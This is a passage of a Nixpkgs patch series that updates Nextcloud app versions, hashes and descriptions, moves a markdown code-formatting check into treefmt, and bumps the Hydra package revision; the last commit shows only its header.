     "description": "A Calendar app for Nextcloud. Easily sync events from various devices with your Nextcloud and edit them online.\n\n* 🚀 **Integration with other Nextcloud apps!** Like Contacts, Talk, Tasks, Deck and Circles\n* 🌐 **WebCal Support!** Want to see your favorite team's matchdays in your calendar? No problem!\n* 🙋 **Attendees!** Invite people to your events\n* ⌚ **Free/Busy!** See when your attendees are available to meet\n* ⏰ **Reminders!** Get alarms for events inside your browser and via email\n* 🔍 **Search!** Find your events at ease\n* ☑️ **Tasks!** See tasks or Deck cards with a due date directly in the calendar\n* 🔈 **Talk rooms!** Create an associated Talk room when booking a meeting with just one click\n* 📆 **Appointment booking** Send people a link so they can book an appointment with you [using this app](https://apps.nextcloud.com/apps/appointments)\n* 📎 **Attachments!** Add, upload and view event attachments\n* 🙈 **We’re not reinventing the wheel!** Based on the great [c-dav library](https://github.com/nextcloud/cdav-library), [ical.js](https://github.com/mozilla-comm/ical.js) and [fullcalendar](https://github.com/fullcalendar/fullcalendar) libraries.",
     "homepage": "https://github.com/nextcloud/calendar/",
     "licenses": [
@@ -30,9 +30,9 @@
     ]
   },
   "collectives": {
-    "hash": "sha256-RCpIfoSmYahIo03IumJwEn/06ZeqOhJ/ov5WKGvwcUA=",
-    "url": "https://github.com/nextcloud/collectives/releases/download/v2.18.0/collectives-2.18.0.tar.gz",
-    "version": "2.18.0",
+    "hash": "sha256-H7Fc3tBOTGjOlhmzImqik7ZC9IorWwrTKsxUkz4E8H0=",
+    "url": "https://github.com/nextcloud/collectives/releases/download/v3.0.3/collectives-3.0.3.tar.gz",
+    "version": "3.0.3",
     "description": "Collectives is a Nextcloud App for activist and community projects to organize together.\nCome and gather in collectives to build shared knowledge.\n\n* 👥 **Collective and non-hierarchical workflow by heart**: Collectives are\n  tied to a [Nextcloud Team](https://github.com/nextcloud/circles) and\n  owned by the collective.\n* 📝 **Collaborative page editing** like known from Etherpad thanks to the\n  [Text app](https://github.com/nextcloud/text).\n* 🔤 **Well-known [Markdown](https://en.wikipedia.org/wiki/Markdown) syntax**\n  for page formatting.\n\n## Installation\n\nIn your Nextcloud instance, simply navigate to **»Apps«**, find the\n**»Teams«** and **»Collectives«** apps and enable them.",
     "homepage": "https://github.com/nextcloud/collectives",
     "licenses": [
@@ -40,9 +40,9 @@
     ]
   },
   "contacts": {
-    "hash": "sha256-52FNlLIc4Xr/8mKzEJW8YJ7RbfaeSpMaIxGhBFp0WFc=",
-    "url": "https://github.com/nextcloud-releases/contacts/releases/download/v7.1.5/contacts-v7.1.5.tar.gz",
-    "version": "7.1.5",
+    "hash": "sha256-AAlfPeFWCO894/R5fLsXSSW2VKacVCH07JsGLIJWVms=",
+    "url": "https://github.com/nextcloud-releases/contacts/releases/download/v7.2.3/contacts-v7.2.3.tar.gz",
+    "version": "7.2.3",
     "description": "The Nextcloud contacts app is a user interface for Nextcloud's CardDAV server. Easily sync contacts from various devices with your Nextcloud and edit them online.\n\n* 🚀 **Integration with other Nextcloud apps!** Currently Mail and Calendar – more to come.\n* 🎉 **Never forget a birthday!** You can sync birthdays and other recurring events with your Nextcloud Calendar.\n* 👥 **Sharing of Adressbooks!** You want to share your contacts with your friends or coworkers? No problem!\n* 🙈 **We’re not reinventing the wheel!** Based on the great and open SabreDAV library.",
     "homepage": "https://github.com/nextcloud/contacts#readme",
     "licenses": [
@@ -80,9 +80,9 @@
     ]
   },
   "deck": {
-    "hash": "sha256-VUdHoLYyCg7DsNu2LYZelmcHM4B0cfkH8PwcTK844mo=",
-    "url": "https://github.com/nextcloud-releases/deck/releases/download/v1.15.1/deck-v1.15.1.tar.gz",
-    "version": "1.15.1",
+    "hash": "sha256-y0kZrmWO6sI4IP+5j+gi8UuxgIwNPXMRDFfETjsRtFg=",
+    "url": "https://github.com/nextcloud-releases/deck/releases/download/v1.15.2/deck-v1.15.2.tar.gz",
+    "version": "1.15.2",
     "description": "Deck is a kanban style organization tool aimed at personal planning and project organization for teams integrated with Nextcloud.\n\n\n- 📥 Add your tasks to cards and put them in order\n- 📄 Write down additional notes in Markdown\n- 🔖 Assign labels for even better organization\n- 👥 Share with your team, friends or family\n- 📎 Attach files and embed them in your Markdown description\n- 💬 Discuss with your team using comments\n- ⚡ Keep track of changes in the activity stream\n- 🚀 Get your project organized",
     "homepage": "https://github.com/nextcloud/deck",
     "licenses": [
@@ -150,10 +150,10 @@
     ]
   },
   "groupfolders": {
-    "hash": "sha256-KqbPvcHOYJA8bjWbh6X/7RM78FGCqFJIOS8FgugJyJk=",
-    "url": "https://github.com/nextcloud-releases/groupfolders/releases/download/v19.1.2/groupfolders-v19.1.2.tar.gz",
-    "version": "19.1.2",
-    "description": "Admin configured folders shared with everyone in a group.\n\nFolders can be configured from *Group folders* in the admin settings.\n\nAfter a folder is created, the admin can give access to the folder to one or more groups, control their write/sharing permissions and assign a quota for the folder.",
+    "hash": "sha256-0z6zxuBNvEhPAtCUUDtb0BOMSS+xT/rN7H2PQQ/BLPE=",
+    "url": "https://github.com/nextcloud-releases/groupfolders/releases/download/v19.1.3/groupfolders-v19.1.3.tar.gz",
+    "version": "19.1.3",
+    "description": "Admin configured folders shared with everyone in a team.\n\nFolders can be configured from *Team folders* in the admin settings.\n\nAfter a folder is created, the admin can give access to the folder to one or more teams, control their write/sharing permissions and assign a quota for the folder.",
     "homepage": "https://github.com/nextcloud/groupfolders",
     "licenses": [
       "agpl"
@@ -170,9 +170,9 @@
     ]
   },
   "integration_deepl": {
-    "hash": "sha256-FKlu1tlA/GxAHKFu4kfq8CsDvBrnMnLKDizisgb0IOQ=",
-    "url": "https://github.com/nextcloud-releases/integration_deepl/releases/download/v1.3.1/integration_deepl-v1.3.1.tar.gz",
-    "version": "1.3.1",
+    "hash": "sha256-WjTg/+ckoZ/xFrfN0LaLvWIM/JbbnfvVO4EbnRnvB60=",
+    "url": "https://github.com/nextcloud-releases/integration_deepl/releases/download/v2.0.0/integration_deepl-v2.0.0.tar.gz",
+    "version": "2.0.0",
     "description": "Deepl integration providing an translations through deepl.com with Nextcloud\n\nThis app integrates with [Nextcloud Assistant](https://apps.nextcloud.com/apps/assistant) to offer translation services We recommend to install Assistant additionally and activate Deepl as translation provider in the Artifical Intelligence admin settings.\n\nThis app also integrates with the translation API of Nextcloud server to offer translation services without Assistant. Currently this is available in Text and Talk.\n\nTo run translations and any other Task Processing tasks synchronously, run the following command in a background process (10 is the interval in seconds when the process should relaunch to use the latest php changes):\n\n```sh\nset -e; while true; do occ background-job:worker -v -t 10 \"OC\\TaskProcessing\\SynchronousBackgroundJob\"; done\n```\n\n## Ethical AI Rating\n### Rating: 🔴\n\nNegative:\n* the software for training and inferencing of this model is proprietary, limiting running it locally or training by yourself\n* the trained model is not freely available, so the model can not be ran on-premises\n* the training data is not freely available, limiting the ability of external parties to check and correct for bias or optimise the model’s performance and CO2 usage.\n\nLearn more about the Nextcloud Ethical AI Rating [in our blog](https://nextcloud.com/blog/nextcloud-ethical-ai-rating/).",
     "homepage": "https://github.com/nextcloud/integration_deepl",
     "licenses": [
@@ -180,10 +180,10 @@
     ]
   },
   "integration_openai": {
-    "hash": "sha256-LUfgHGN2gddCsATRBgWMJO8EsaOqqRYVZXCL4EKc6Vw=",
-    "url": "https://github.com/nextcloud-releases/integration_openai/releases/download/v3.5.0/integration_openai-v3.5.0.tar.gz",
-    "version": "3.5.0",
-    "description": "⚠️ The smart pickers have been removed from this app\nas they are now included in the [Assistant app](https://apps.nextcloud.com/apps/assistant).\n\nThis app implements:\n\n* Text generation providers: Free prompt, Summarize, Headline, Context Write, Chat, and Reformulate (using any available large language model)\n* A Translation provider (using any available language model)\n* A SpeechToText provider (using Whisper)\n* An image generation provider\n\n⚠️ Context Write, Summarize, Headline and Reformulate have mainly been tested with OpenAI.\nThey might work when connecting to other services, without any guarantee.\n\nInstead of connecting to the OpenAI API for these, you can also connect to a self-hosted [LocalAI](https://localai.io) instance or [Ollama](https://ollama.com/) instance\nor to any service that implements an API similar to the OpenAI one, for example:\n[IONOS AI Model Hub](https://docs.ionos.com/cloud/ai/ai-model-hub), [Plusserver](https://www.plusserver.com/en/ai-platform/) or [MistralAI](https://mistral.ai).\n\n⚠️ This app is mainly tested with OpenAI. We do not guarantee it works perfectly\nwith other services that implement OpenAI-compatible APIs with slight differences.\n\n## Improve AI task pickup speed\n\nTo avoid task processing execution delay, setup at 4 background job workers in the main server (where Nextcloud is installed). The setup process is documented here: https://docs.nextcloud.com/server/latest/admin_manual/ai/overview.html#improve-ai-task-pickup-speed\n\n## Ethical AI Rating\n### Rating for Text generation using ChatGPT via the OpenAI API: 🔴\n\nNegative:\n* The software for training and inference of this model is proprietary, limiting running it locally or training by yourself\n* The trained model is not freely available, so the model can not be run on-premises\n* The training data is not freely available, limiting the ability of external parties to check and correct for bias or optimise the model's performance and CO2 usage.\n\n\n### Rating for Translation using ChatGPT via the OpenAI API: 🔴\n\nNegative:\n* The software for training and inference of this model is proprietary, limiting running it locally or training by yourself\n* The trained model is not freely available, so the model can not be run on-premises\n* The training data is not freely available, limiting the ability of external parties to check and correct for bias or optimise the model's performance and CO2 usage.\n\n### Rating for Image generation using DALL·E via the OpenAI API: 🔴\n\nNegative:\n* The software for training and inferencing of this model is proprietary, limiting running it locally or training by yourself\n* The trained model is not freely available, so the model can not be ran on-premises\n* The training data is not freely available, limiting the ability of external parties to check and correct for bias or optimise the model’s performance and CO2 usage.\n\n\n### Rating for Speech-To-Text using Whisper via the OpenAI API: 🟡\n\nPositive:\n* The software for training and inferencing of this model is open source\n* The trained model is freely available, and thus can run on-premise\n\nNegative:\n* The training data is not freely available, limiting the ability of external parties to check and correct for bias or optimise the model’s performance and CO2 usage.\n\n### Rating for Text generation via LocalAI: 🟢\n\nPositive:\n* The software for training and inferencing of this model is open source\n* The trained model is freely available, and thus can be ran on-premises\n* The training data is freely available, making it possible to check or correct for bias or optimise the performance and CO2 usage.\n\n\n### Rating for Image generation using Stable Diffusion via LocalAI : 🟡\n\nPositive:\n* The software for training and inferencing of this model is open source\n* The trained model is freely available, and thus can be ran on-premises\n\nNegative:\n* The training data is not freely available, limiting the ability of external parties to check and correct for bias or optimise the model’s performance and CO2 usage.\n\n\n### Rating for Speech-To-Text using Whisper via LocalAI: 🟡\n\nPositive:\n* The software for training and inferencing of this model is open source\n* The trained model is freely available, and thus can be ran on-premises\n\nNegative:\n* The training data is not freely available, limiting the ability of external parties to check and correct for bias or optimise the model’s performance and CO2 usage.\n\nLearn more about the Nextcloud Ethical AI Rating [in our blog](https://nextcloud.com/blog/nextcloud-ethical-ai-rating/).",
+    "hash": "sha256-VAvpbiTzbbQPsohQygdXRfPqPkxf7rEBuYELb0ADZqA=",
+    "url": "https://github.com/nextcloud-releases/integration_openai/releases/download/v3.7.1/integration_openai-v3.7.1.tar.gz",
+    "version": "3.7.1",
+    "description": "⚠️ The smart pickers have been removed from this app\nas they are now included in the [Assistant app](https://apps.nextcloud.com/apps/assistant).\n\nThis app implements:\n\n* Text generation providers: Free prompt, Summarize, Headline, Context Write, Chat, and Reformulate (using any available large language model)\n* A Translation provider (using any available language model)\n* A SpeechToText provider (using Whisper)\n* An image generation provider\n\n⚠️ Context Write, Summarize, Headline and Reformulate have mainly been tested with OpenAI.\nThey might work when connecting to other services, without any guarantee.\n\nInstead of connecting to the OpenAI API for these, you can also connect to a self-hosted [LocalAI](https://localai.io) instance or [Ollama](https://ollama.com/) instance\nor to any service that implements an API similar to the OpenAI one, for example:\n[IONOS AI Model Hub](https://docs.ionos.com/cloud/ai/ai-model-hub), [Plusserver](https://www.plusserver.com/en/ai-platform/) or [MistralAI](https://mistral.ai).\n\n⚠️ This app is mainly tested with OpenAI. We do not guarantee it works perfectly\nwith other services that implement OpenAI-compatible APIs with slight differences.\n\n## Improve AI task pickup speed\n\nTo avoid task processing execution delay, setup at 4 background job workers in the main server (where Nextcloud is installed). The setup process is documented here: https://docs.nextcloud.com/server/latest/admin_manual/ai/overview.html#improve-ai-task-pickup-speed\n\n## Ethical AI Rating\n### Rating for Text generation using ChatGPT via the OpenAI API: 🔴\n\nNegative:\n* The software for training and inference of this model is proprietary, limiting running it locally or training by yourself\n* The trained model is not freely available, so the model can not be run on-premises\n* The training data is not freely available, limiting the ability of external parties to check and correct for bias or optimise the model's performance and CO2 usage.\n\n\n### Rating for Translation using ChatGPT via the OpenAI API: 🔴\n\nNegative:\n* The software for training and inference of this model is proprietary, limiting running it locally or training by yourself\n* The trained model is not freely available, so the model can not be run on-premises\n* The training data is not freely available, limiting the ability of external parties to check and correct for bias or optimise the model's performance and CO2 usage.\n\n### Rating for Image generation using DALL·E via the OpenAI API: 🔴\n\nNegative:\n* The software for training and inferencing of this model is proprietary, limiting running it locally or training by yourself\n* The trained model is not freely available, so the model can not be ran on-premises\n* The training data is not freely available, limiting the ability of external parties to check and correct for bias or optimise the model’s performance and CO2 usage.\n\n\n### Rating for Speech-To-Text using Whisper via the OpenAI API: 🟡\n\nPositive:\n* The software for training and inferencing of this model is open source\n* The trained model is freely available, and thus can run on-premise\n\nNegative:\n* The training data is not freely available, limiting the ability of external parties to check and correct for bias or optimise the model’s performance and CO2 usage.\n\n### Rating for Text-To-Speech via the OpenAI API: 🔴\n\nNegative:\n* The software for training and inferencing of this model is proprietary, limiting running it locally or training by yourself\n* The trained model is not freely available, so the model can not be ran on-premises\n* The training data is not freely available, limiting the ability of external parties to check and correct for bias or optimise the model’s performance and CO2 usage.\n\n### Rating for Text generation via LocalAI: 🟢\n\nPositive:\n* The software for training and inferencing of this model is open source\n* The trained model is freely available, and thus can be ran on-premises\n* The training data is freely available, making it possible to check or correct for bias or optimise the performance and CO2 usage.\n\n\n### Rating for Image generation using Stable Diffusion via LocalAI : 🟡\n\nPositive:\n* The software for training and inferencing of this model is open source\n* The trained model is freely available, and thus can be ran on-premises\n\nNegative:\n* The training data is not freely available, limiting the ability of external parties to check and correct for bias or optimise the model’s performance and CO2 usage.\n\n\n### Rating for Speech-To-Text using Whisper via LocalAI: 🟡\n\nPositive:\n* The software for training and inferencing of this model is open source\n* The trained model is freely available, and thus can be ran on-premises\n\nNegative:\n* The training data is not freely available, limiting the ability of external parties to check and correct for bias or optimise the model’s performance and CO2 usage.\n\nLearn more about the Nextcloud Ethical AI Rating [in our blog](https://nextcloud.com/blog/nextcloud-ethical-ai-rating/).",
     "homepage": "https://github.com/nextcloud/integration_openai",
     "licenses": [
       "agpl"
@@ -200,9 +200,9 @@
     ]
   },
   "mail": {
-    "hash": "sha256-FSpr/PVZlx4t+1cGmyoES/9i0c2nyRTPLTodLM2JP04=",
-    "url": "https://github.com/nextcloud-releases/mail/releases/download/v5.1.7/mail-v5.1.7.tar.gz",
-    "version": "5.1.7",
+    "hash": "sha256-ZO7OfGtHckgY02djPHRH1dZW1gu5R/2Te+v9k3lKpeM=",
+    "url": "https://github.com/nextcloud-releases/mail/releases/download/v5.1.10/mail-v5.1.10.tar.gz",
+    "version": "5.1.10",
     "description": "**💌 A mail app for Nextcloud**\n\n- **🚀 Integration with other Nextcloud apps!** Currently Contacts, Calendar & Files – more to come.\n- **📥 Multiple mail accounts!** Personal and company account? No problem, and a nice unified inbox. Connect any IMAP account.\n- **🔒 Send & receive encrypted mails!** Using the great [Mailvelope](https://mailvelope.com) browser extension.\n- **🙈 We’re not reinventing the wheel!** Based on the great [Horde](https://www.horde.org) libraries.\n- **📬 Want to host your own mail server?** We do not have to reimplement this as you could set up [Mail-in-a-Box](https://mailinabox.email)!\n\n## Ethical AI Rating\n\n### Priority Inbox\n\nPositive:\n* The software for training and inferencing of this model is open source.\n* The model is created and trained on-premises based on the user's own data.\n* The training data is accessible to the user, making it possible to check or correct for bias or optimise the performance and CO2 usage.\n\n### Thread Summaries (opt-in)\n\n**Rating:** 🟢/🟡/🟠/🔴\n\nThe rating depends on the installed text processing backend. See [the rating overview](https://docs.nextcloud.com/server/latest/admin_manual/ai/index.html) for details.\n\nLearn more about the Nextcloud Ethical AI Rating [in our blog](https://nextcloud.com/blog/nextcloud-ethical-ai-rating/).",
     "homepage": "https://github.com/nextcloud/mail#readme",
     "licenses": [
@@ -210,8 +210,8 @@
     ]
   },
   "maps": {
-    "hash": "sha256-E0S/CwXyye19lcuiONEQCyHJqlL0ZG1A9Q7oOTEZH1g=",
-    "url": "https://github.com/nextcloud/maps/releases/download/v1.6.0-3-nightly/maps-1.6.0-3-nightly.tar.gz",
+    "hash": "sha256-IupRymjs955TiUutzoTTMeESNfBmAp51l+oBaZwfdN0=",
+    "url": "https://github.com/nextcloud/maps/releases/download/v1.6.0/maps-1.6.0.tar.gz",
     "version": "1.6.0",
     "description": "**The whole world fits inside your cloud!**\n\n- **🗺 Beautiful map:** Using [OpenStreetMap](https://www.openstreetmap.org) and [Leaflet](https://leafletjs.com), you can choose between standard map, satellite, topographical, dark mode or even watercolor! 🎨\n- **⭐ Favorites:** Save your favorite places, privately! Sync with [GNOME Maps](https://github.com/nextcloud/maps/issues/30) and mobile apps is planned.\n- **🧭 Routing:** Possible using either [OSRM](http://project-osrm.org), [GraphHopper](https://www.graphhopper.com) or [Mapbox](https://www.mapbox.com).\n- **🖼 Photos on the map:** No more boring slideshows, just show directly where you were!\n- **🙋 Contacts on the map:** See where your friends live and plan your next visit.\n- **📱 Devices:** Lost your phone? Check the map!\n- **〰 Tracks:** Load GPS tracks or past trips. Recording with [PhoneTrack](https://f-droid.org/en/packages/net.eneiluj.nextcloud.phonetrack/) or [OwnTracks](https://owntracks.org) is planned.",
     "homepage": "https://github.com/nextcloud/maps",
@@ -240,9 +240,9 @@
     ]
   },
   "news": {
-    "hash": "sha256-Y1+hcRxewWyctG5nS7GjN+zWCBrxoroeb01HLzqAR08=",
-    "url": "https://github.com/nextcloud/news/releases/download/26.0.2/news.tar.gz",
-    "version": "26.0.2",
+    "hash": "sha256-8U2EOK8mXPEk70IU8GLXYU0EoZU7O4fhFkzhGpauvZc=",
+    "url": "https://github.com/nextcloud/news/releases/download/26.1.0/news.tar.gz",
+    "version": "26.1.0",
     "description": "📰 A RSS/Atom Feed reader App for Nextcloud\n\n- 📲 Synchronize your feeds with multiple mobile or desktop [clients](https://nextcloud.github.io/news/clients/)\n- 🔄 Automatic updates of your news feeds\n- 🆓 Free and open source under AGPLv3, no ads or premium functions\n\n**System Cron is currently required for this app to work**\n\nRequirements can be found [here](https://nextcloud.github.io/news/install/#dependencies)\n\nThe Changelog is available [here](https://github.com/nextcloud/news/blob/master/CHANGELOG.md)\n\nCreate a [bug report](https://github.com/nextcloud/news/issues/new/choose)\n\nCreate a [feature request](https://github.com/nextcloud/news/discussions/new)\n\nReport a [feed issue](https://github.com/nextcloud/news/discussions/new)",
     "homepage": "https://github.com/nextcloud/news",
     "licenses": [
@@ -260,9 +260,9 @@
     ]
   },
   "notes": {
-    "hash": "sha256-/Zym7bNotcdradtR3cG+rIaAH9jZs+/3PCP7zXS6WJo=",
-    "url": "https://github.com/nextcloud-releases/notes/releases/download/v4.12.1/notes-v4.12.1.tar.gz",
-    "version": "4.12.1",
+    "hash": "sha256-WpxRJ45N+aO+cOp5u6+uwlijzofpmdcUg07ax3p3WDA=",
+    "url": "https://github.com/nextcloud-releases/notes/releases/download/v4.12.2/notes-v4.12.2.tar.gz",
+    "version": "4.12.2",
     "description": "The Notes app is a distraction free notes taking app for [Nextcloud](https://www.nextcloud.com/). It provides categories for better organization and supports formatting using [Markdown](https://en.wikipedia.org/wiki/Markdown) syntax. Notes are saved as files in your Nextcloud, so you can view and edit them with every Nextcloud client. Furthermore, a separate [REST API](https://github.com/nextcloud/notes/blob/master/docs/api/README.md) allows for an easy integration into apps ([Android](https://github.com/nextcloud/notes-android), [iOS](https://github.com/nextcloud/notes-ios), as well as [3rd-party apps](https://github.com/nextcloud/notes/wiki#3rd-party-clients) which allow convenient access to your Nextcloud notes). Further features include marking notes as favorites.",
     "homepage": "https://github.com/nextcloud/notes",
     "licenses": [
@@ -300,9 +300,9 @@
     ]
   },
   "polls": {
-    "hash": "sha256-iv3Jjx/p2uGhxYctaMaaB/5c3oroauE8iOEH2eWi4+A=",
-    "url": "https://github.com/nextcloud-releases/polls/releases/download/v8.0.6/polls-v8.0.6.tar.gz",
-    "version": "8.0.6",
+    "hash": "sha256-pGXydde3kLTHgA3vgq2NG1YsyWkda/z8frMFbHdxetQ=",
+    "url": "https://github.com/nextcloud-releases/polls/releases/download/v8.1.4/polls-v8.1.4.tar.gz",
+    "version": "8.1.4",
     "description": "A polls app, similar to Doodle/DuD-Poll with the possibility to restrict access (members, certain groups/users, hidden and public).",
     "homepage": "https://github.com/nextcloud/polls",
     "licenses": [
@@ -310,9 +310,9 @@
     ]
   },
   "previewgenerator": {
-    "hash": "sha256-dPUvtVFtSqlG9M1RXZ8u7nL3wgK5yFU2/pL9pFLjisc=",
-    "url": "https://github.com/nextcloud-releases/previewgenerator/releases/download/v5.8.0/previewgenerator-v5.8.0.tar.gz",
-    "version": "5.8.0",
+    "hash": "sha256-+vJ1h/wxOOwmWmj6gSfXv7UgsRjwelboFQwHpE53efY=",
+    "url": "https://github.com/nextcloud-releases/previewgenerator/releases/download/v5.9.0/previewgenerator-v5.9.0.tar.gz",
+    "version": "5.9.0",
     "description": "The Preview Generator app allows admins to pre-generate previews. The app listens to edit events and stores this information. Once a cron job is triggered it will generate start preview generation. This means that you can better utilize your system by pre-generating previews when your system is normally idle and thus putting less load on your machine when the requests are actually served.\n\nThe app does not replace on demand preview generation so if a preview is requested before it is pre-generated it will still be shown.\nThe first time you install this app, before using a cron job, you properly want to generate all previews via:\n**./occ preview:generate-all -vvv**\n\n**Important**: To enable pre-generation of previews you must add **php /var/www/nextcloud/occ preview:pre-generate** to a system cron job that runs at times of your choosing.",
     "homepage": "https://github.com/nextcloud/previewgenerator",
     "licenses": [
@@ -350,9 +350,9 @@
     ]
   },
   "richdocuments": {
-    "hash": "sha256-qJt7nkXhW3t0c8m+MHStWt2FnSNUNiMbDLeDOpU8VVA=",
-    "url": "https://github.com/nextcloud-releases/richdocuments/releases/download/v8.7.1/richdocuments-v8.7.1.tar.gz",
-    "version": "8.7.1",
+    "hash": "sha256-jFjn74izMbj3aHTswUvwl1k7nA+WrBuIrSrRLqK7/28=",
+    "url": "https://github.com/nextcloud-releases/richdocuments/releases/download/v8.7.3/richdocuments-v8.7.3.tar.gz",
+    "version": "8.7.3",
     "description": "This application can connect to a Collabora Online (or other) server (WOPI-like Client). Nextcloud is the WOPI Host. Please read the documentation to learn more about that.\n\nYou can also edit your documents off-line with the Collabora Office app from the **[Android](https://play.google.com/store/apps/details?id=com.collabora.libreoffice)** and **[iOS](https://apps.apple.com/us/app/collabora-office/id1440482071)** store.",
     "homepage": "https://collaboraoffice.com/",
     "licenses": [
@@ -370,9 +370,9 @@
     ]
   },
   "spreed": {
-    "hash": "sha256-tumLEoJAGvcFgN8dQbmwxPofOQ825mySOa5qNg6wzgs=",
-    "url": "https://github.com/nextcloud-releases/spreed/releases/download/v21.1.1/spreed-v21.1.1.tar.gz",
-    "version": "21.1.1",
+    "hash": "sha256-eg2d2Mb4rMey2H4plSLdsqjPrIWQP5cStA7ISkT0VDs=",
+    "url": "https://github.com/nextcloud-releases/spreed/releases/download/v21.1.2/spreed-v21.1.2.tar.gz",
+    "version": "21.1.2",
     "description": "Chat, video & audio-conferencing using WebRTC\n\n* 💬 **Chat** Nextcloud Talk comes with a simple text chat, allowing you to share or upload files from your Nextcloud Files app or local device and mention other participants.\n* 👥 **Private, group, public and password protected calls!** Invite someone, a whole group or send a public link to invite to a call.\n* 🌐 **Federated chats** Chat with other Nextcloud users on their servers\n* 💻 **Screen sharing!** Share your screen with the participants of your call.\n* 🚀 **Integration with other Nextcloud apps** like Files, Calendar, User status, Dashboard, Flow, Maps, Smart picker, Contacts, Deck, and many more.\n* 🌉 **Sync with other chat solutions** With [Matterbridge](https://github.com/42wim/matterbridge/) being integrated in Talk, you can easily sync a lot of other chat solutions to Nextcloud Talk and vice-versa.",
     "homepage": "https://github.com/nextcloud/spreed",
     "licenses": [
@@ -440,9 +440,9 @@
     ]
   },
   "user_oidc": {
-    "hash": "sha256-nXDWfRP9n9eH+JGg1a++kD5uLMsXh5BHAaTAOgLI9W4=",
-    "url": "https://github.com/nextcloud-releases/user_oidc/releases/download/v7.2.0/user_oidc-v7.2.0.tar.gz",
-    "version": "7.2.0",
+    "hash": "sha256-5ny76JXlGKnzmoaFyKU3l5I50oc03yy6WtiIcUZwKnk=",
+    "url": "https://github.com/nextcloud-releases/user_oidc/releases/download/v7.3.0/user_oidc-v7.3.0.tar.gz",
+    "version": "7.3.0",
     "description": "Allows flexible configuration of an OIDC server as Nextcloud login user backend.",
     "homepage": "https://github.com/nextcloud/user_oidc",
     "licenses": [

From 370d67848b3ddef59123d5423295d14c4d755451 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Tue, 22 Jul 2025 16:12:42 +0200
Subject: [PATCH 3221/4511] ci/treefmt: add markdown-code-runner

This was run as a test in `doc/tests/check-nix-code-blocks.nix` before,
but its DX can be improved: By including it in `treefmt` we get better
error reporting and auto-fixing, as well as running it on *all* markdown
files (including READMEs etc.) for free.

(cherry picked from commit a7b3b2584a7b9f204f634714fe9fbe3a3965b06c)
---
 ci/default.nix                      | 17 +++++++++++++++
 doc/doc-support/package.nix         |  1 -
 doc/tests/check-nix-code-blocks.nix | 32 -----------------------------
 doc/tests/mdcr-config.toml          |  3 ---
 4 files changed, 17 insertions(+), 36 deletions(-)
 delete mode 100644 doc/tests/check-nix-code-blocks.nix
 delete mode 100644 doc/tests/mdcr-config.toml

diff --git a/ci/default.nix b/ci/default.nix
index eaa1879c34b4..727e591a90b8 100644
--- a/ci/default.nix
+++ b/ci/default.nix
@@ -75,6 +75,23 @@ let
           includes = [ "*" ];
           priority = 1;
         };
+
+        # TODO: Upstream this into treefmt-nix eventually:
+        #   https://github.com/numtide/treefmt-nix/issues/387
+        settings.formatter.markdown-code-runner = {
+          command = pkgs.lib.getExe pkgs.markdown-code-runner;
+          options =
+            let
+              config = pkgs.writers.writeTOML "markdown-code-runner-config" {
+                presets.nixfmt = {
+                  language = "nix";
+                  command = [ (pkgs.lib.getExe pkgs.nixfmt) ];
+                };
+              };
+            in
+            [ "--config=${config}" ];
+          includes = [ "*.md" ];
+        };
       };
       fs = pkgs.lib.fileset;
       nixFilesSrc = fs.toSource {
diff --git a/doc/doc-support/package.nix b/doc/doc-support/package.nix
index db8066c8dc56..04f6caad8ac0 100644
--- a/doc/doc-support/package.nix
+++ b/doc/doc-support/package.nix
@@ -137,7 +137,6 @@ stdenvNoCC.mkDerivation (
 
       tests = {
         manpage-urls = callPackage ../tests/manpage-urls.nix { };
-        check-nix-code-blocks = callPackage ../tests/check-nix-code-blocks.nix { };
       };
     };
   }
diff --git a/doc/tests/check-nix-code-blocks.nix b/doc/tests/check-nix-code-blocks.nix
deleted file mode 100644
index 5ec934f6bba8..000000000000
--- a/doc/tests/check-nix-code-blocks.nix
+++ /dev/null
@@ -1,32 +0,0 @@
-{
-  runCommand,
-  markdown-code-runner,
-  nixfmt-rfc-style,
-}:
-
-runCommand "manual_check-nix-code-blocks"
-  {
-    nativeBuildInputs = [
-      markdown-code-runner
-      nixfmt-rfc-style
-    ];
-  }
-  ''
-    set +e
-
-    mdcr --check --config ${./mdcr-config.toml} ${./..}
-
-    if [ $? -ne 0 ]; then
-      cat <<EOF
-    Error: `mdcr` command failed. Please make sure the Nix code snippets in Markdown files are correctly formatted.
-
-    Run this command from the Nixpkgs repository root for automatic formatting:
-
-        mdcr --log debug --config ${toString ./..}/tests/mdcr-config.toml ${toString ./..}
-
-    EOF
-      exit 1
-    fi
-
-    touch "$out"
-  ''
diff --git a/doc/tests/mdcr-config.toml b/doc/tests/mdcr-config.toml
deleted file mode 100644
index 489049f648f0..000000000000
--- a/doc/tests/mdcr-config.toml
+++ /dev/null
@@ -1,3 +0,0 @@
-[presets.nixfmt]
-language = "nix"
-command = ["nixfmt"]

From 06c376ed37831cc8346d01cca86e25492df71956 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sat, 26 Apr 2025 17:21:18 +0000
Subject: [PATCH 3222/4511] hydra: 0-unstable-2025-04-16 ->
 0-unstable-2025-04-23

(cherry picked from commit ab5bbdad9ce7dea4e9495d156837dca97eca6c76)
---
 pkgs/by-name/hy/hydra/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/hy/hydra/package.nix b/pkgs/by-name/hy/hydra/package.nix
index 84d326b54865..3c8422635c82 100644
--- a/pkgs/by-name/hy/hydra/package.nix
+++ b/pkgs/by-name/hy/hydra/package.nix
@@ -130,13 +130,13 @@ let
 in
 stdenv.mkDerivation (finalAttrs: {
   pname = "hydra";
-  version = "0-unstable-2025-04-16";
+  version = "0-unstable-2025-04-23";
 
   src = fetchFromGitHub {
     owner = "NixOS";
     repo = "hydra";
-    rev = "bdde73acbd66c569e8171b42b810adf92a56f76a";
-    hash = "sha256-1hj8JJ4ngqzJ8Xt3WvCBnQmwTnzzaZaQlCJcPWQvvM4=";
+    rev = "455f1a0665c6ca55df2a17679f6103402a9e9431";
+    hash = "sha256-rn9ZE4ERml8ZkT9ziDrqGEJfzr0rJlzYfu2PHL71oiI=";
   };
 
   outputs = [

From 8867ddb4bd7f4ba653c43d77c2765bead03567b4 Mon Sep 17 00:00:00 2001
From: zowoq <59103226+zowoq@users.noreply.github.com>
Date: Mon, 26 May 2025 15:21:07 +1000
Subject: [PATCH 3223/4511] hydra: 0-unstable-2025-04-23 ->
 0-unstable-2025-05-27

